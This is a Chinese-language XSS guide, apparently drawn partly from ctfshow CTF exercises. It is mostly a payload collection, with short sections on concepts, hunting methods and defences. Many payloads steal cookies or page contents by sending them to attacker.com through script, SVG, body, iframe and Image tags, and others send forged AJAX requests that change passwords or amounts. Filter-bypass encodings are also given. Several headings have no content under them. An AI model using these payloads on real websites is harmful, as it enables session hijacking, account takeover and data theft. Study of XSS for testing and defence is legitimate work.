XSS (跨站脚本攻击) 完全指南¶
目录¶
基础概念¶
XSS (Cross-Site Scripting) 是一种常见的 Web 安全漏洞,攻击者通过在网页中注入恶意脚本,使得其他用户在访问该页面时执行这些脚本。
XSS 的危害¶
窃取用户 Cookie
劫持用户会话
修改网页内容
钓鱼攻击
传播恶意软件
XSS 类型¶
反射型 XSS
恶意脚本通过 URL 参数等方式注入
服务器将恶意脚本反射回浏览器执行
通常需要用户点击特定链接才能触发
存储型 XSS
恶意脚本被永久存储在服务器上
当其他用户访问包含恶意脚本的页面时触发
影响范围更大,危害更严重
DOM 型 XSS
完全在客户端执行
不依赖服务器响应
通过修改 DOM 结构触发
Payload 集合¶
1. 基础 Payloads¶
1.1 基本弹窗¶
1.2 闭合标签¶
1.3 事件处理器¶
2. 高级攻击脚本¶
2.1 基础脚本标签¶
<!-> 基本弹窗 -->
<script>alert("hello")</script> <!-> 弹出hello -->
<script>alert(/hello/)</script> <!-> 弹出hello -->
<script>alert(1)</script> <!-> 弹出1,对于数字可以不用引号 -->
<script>alert(document.cookie)</script> <!-> 弹出cookie -->
<script src=http://xxx.com/xss.js></script> <!-> 引用外部的xss -->
2.2 数据窃取脚本¶
<!-> 使用 window.location.href -->
<script>window.location.href="http://attacker.com/collect?cookie="+document.cookie</script>
<!-> 使用 document.location.href -->
<script>document.location.href="http://attacker.com/collect?cookie="+document.cookie</script>
<!-> 使用 window.open -->
<script>window.open="http://attacker.com/collect?cookie="+document.cookie</script>
<!-> 获取特定元素内容 -->
<script>window.location.href="http://attacker.com/collect?data="+document.getElementsByClassName('target-class')[0].innerHTML</script>
<!-> 使用 jQuery 选择器 -->
<script>$('div.layui-table-cell.laytable-cell-1-0-1').each(function(index,value){
if(value.innerHTML.indexOf('ctfshow{')>-1){
window.location.href='http://attacker.com/'+value.innerHTML;
}
});</script>
<!-> 使用 jQuery 选择器(带过滤) -->
<script>$('div.layui-table-cell.laytable-cell-1-0-1').each(function (index, value) {
if ((value.innerHTML.indexOf('ctfshow{') > -1)&&(value.innerHTML.indexOf('script') === -1)) {
window.location.href = 'http://attacker.com/' +value.innerHTML;
}
});</script>
<!-> 使用 querySelector -->
<script>var img = new Image();
img.src = "http://attacker.com/"+document.querySelector('#top > div.layui-container > div:nth-child(4) > div > div.layui-table-box > div.layui-table-body.layui-table-main').textContent;
document.body.append(img);</script>
2.3 特殊标签利用¶
<!-> SVG 标签 -->
<svg onload="alert(1)">
<svg onload="alert(1)"//
<svg onload="location.href='http://attacker.com/collect?c='+document.cookie"/>
<!-> Body 标签 -->
<body onload=alert(1)>
<body onpageshow=alert(1)>
<body onload=location.href='http://attacker.com/collect?cookie='+document.cookie></body>
<body/**/onload=location.href='http://attacker.com/collect?cookie='+document.cookie></body>
<body/onload=location.href='http://attacker.com/collect?cookie='+document.cookie></body>
<!-> Video 标签 -->
<video onloadstart=alert(1) src="/media/hack-the-planet.mp4" />
<!-> Style 标签 -->
<style onload=alert(1)></style>
<!-> Iframe 标签 -->
<iframe onload=document.location='http://attacker.com/collect?cookie='+document.cookie>'
2.4 特殊场景 Payloads¶
<!-> 使用 Image 对象 -->
<script>var img = new Image();img.src = "http://attacker.com/"+document.cookie;</script>
<!-> 使用 XMLHttpRequest -->
<script>
var httpRequest = new XMLHttpRequest();
httpRequest.open('POST', 'http://attacker.com/api/change.php', true);
httpRequest.setRequestHeader("Content-type","application/x-www-form-urlencoded");
httpRequest.send('p=1234567');
</script>
<!-> 使用 jQuery AJAX -->
<script>$.ajax({
url:"api/amount.php",
method:"POST",
data:{'u':'1','a':''}
})</script>
<!-> 使用 jQuery AJAX 修改密码 -->
<script>$.ajax({
url:"api/change.php",
method:"POST",
data:{'p':'1717'}
})</script>
<!-> 使用 jQuery AJAX 修改金额 -->
<script>$.ajax({
url:"api/amount.php",
method:"POST",
data:{'u':'1','a':''}
})</script>
2.5 监控脚本¶
// 使用 nc 监控
<script>window.open('http://attacker.com:9033/'+document.getElementsByClassName('layui-table-cell laytable-cell-1-0-1')[1].innerHTML)</script>
// 使用 jQuery 监控
<script>$('div.layui-table-cell.laytable-cell-1-0-1').each(function(index,value){
if(value.innerHTML.indexOf('ctfshow{')>-1){
window.location.href='http://attacker.com:9033/'+value.innerHTML;
}
});</script>
// 使用 jQuery 监控(带过滤)
<script>$('div.layui-table-cell.laytable-cell-1-0-1').each(function (index, value) {
if ((value.innerHTML.indexOf('ctfshow{') > -1)&&(value.innerHTML.indexOf('script') === -1)) {
window.location.href = 'http://attacker.com:9033/' +value.innerHTML;
}
});</script>
3. 绕过技巧¶
3.1 标签名绕过¶
<!-> 大小写混淆 -->
<iMg onerror=alert(1) src=a>
<!-> 插入 NULL 字节 -->
<%00img onerror=alert(1) src=a>
<!-> 空格替代字符 -->
<img%09onerror=alert(1) src=a> <!-> Tab -->
<img%0aonerror=alert(1) src=a> <!-> 换行 -->
<img/"onerror=alert(1) src=a> <!-> 异常语法 -->
3.2 属性名绕过¶
3.3 属性值编码绕过¶
3.4 可编码属性¶
URL 类型属性(支持 javascript:
协议)¶
href=
action=
formaction=
location=
资源加载类属性(支持 base64 或外链)¶
src=
data=
poster=
background=
code=
脚本执行类属性¶
on*=
所有以on
开头的事件处理属性
3.5 字符集与长度限制绕过¶
使用非标准编码¶
UTF-7
US-ASCII
UTF-16
拆分跨站脚本(用于绕过长度限制)¶
执行结果为:JavaScript 层面的绕过技巧¶
<!-> Unicode 编码关键字 -->
<script>a\u006cert(1)</script>
<script>eval('a\u006cert(1)')</script>
<!-> 替代点操作符 -->
<script>alert(document['cookie'])</script>
<script>with(document)alert(cookie)</script>
4. XSS 可插入位置¶
<!-> 用户输入作为 script 标签内容 -->
<script>用户输入</script>
<!-> 用户输入作为 HTML 注释 -->
<!-> 用户输入 -->
<!-> --><script>alert('hack')</script><!-> -->
<!-> 用户输入作为标签属性名 -->
<div 用户输入="xx"></div>
<div ></div><script>alert('hack')</script><div a="xx"></div>
<!-> 用户输入作为标签属性值 -->
<div id="用户输入"></div>
<div id=""></div><script>alert('hack')</script><div a="x"></div>
<!-> 用户输入作为标签名 -->
<用户输入 id="xx" />
<><script>alert('hack')</script><b id="xx" />
<!-> 用户输入作为 CSS 内容 -->
<style>用户输入</style>
<style></style><script>alert('hack')</script><style></style>
5. 漏洞挖掘¶
5.1 黑盒测试¶
URL 参数
表单输入
搜索框
评论系统
个人信息页面
5.2 白盒测试¶
检查输入处理函数
检查输出编码
检查 DOM 操作
检查 JavaScript 事件处理
5.3 常见业务场景¶
重灾区:评论区、留言区、个人信息、订单信息等
针对型:站内信、网页即时通讯、私信、意见反馈
存在风险:搜索框、当前目录、图片属性等
5.4 漏洞查找方法¶
基本验证¶
"><script>alert(document.cookie)</script>
"><ScRiPt>alert(document.cookie)</ScRiPt>
"%3e%3cscript%3ealert(document.cookie)%3c/script%3e
"><scr<script>ipt>alert(document.cookie)</scr</script>ipt>
%00"><script>alert(document.cookie)</script>
DOM 型 XSS 查找¶
检查以下危险的 DOM 属性和 API:
document.location
document.URL
document.URLUnencoded
document.referrer
window.location
检查以下危险的 JavaScript 操作:
document.write()
/document.writeln()
document.body.innerHTML
eval()
window.execScript()
window.setInterval()
/window.setTimeout()
6. 防御措施¶
6.1 输入验证¶
长度限制
字符白名单
正则表达式过滤
6.2 输出编码¶
HTML 实体编码
JavaScript 编码
URL 编码
6.3 安全响应头¶
Content-Security-Policy
X-XSS-Protection
X-Content-Type-Options
6.4 其他措施¶
使用 HttpOnly Cookie
实施 CSRF 令牌
使用安全的框架和库
6.5 DOM 型防御¶
// 输入验证
var a = document.URL;
a = a.substring(a.indexOf("message=") + 8);
a = unescape(a);
var regex = /^([A-Za-z0-9\s]+)$/;
if (regex.test(a)) {
document.write(a);
}
// 输出编码
function reinit(str) {
var d = document.createElement('div');
d.appendChild(document.createTextNode(str));
return d.innerHTML;
}
7. 实战案例¶
7.1 反射型 XSS 利用¶
7.2 存储型 XSS 利用¶
7.3 DOM 型 XSS 利用¶
<script>
$('div.layui-table-cell').each(function(index,value){
if(value.innerHTML.indexOf('flag{')>-1){
window.location.href='http://attacker.com/'+value.innerHTML;
}
});
</script>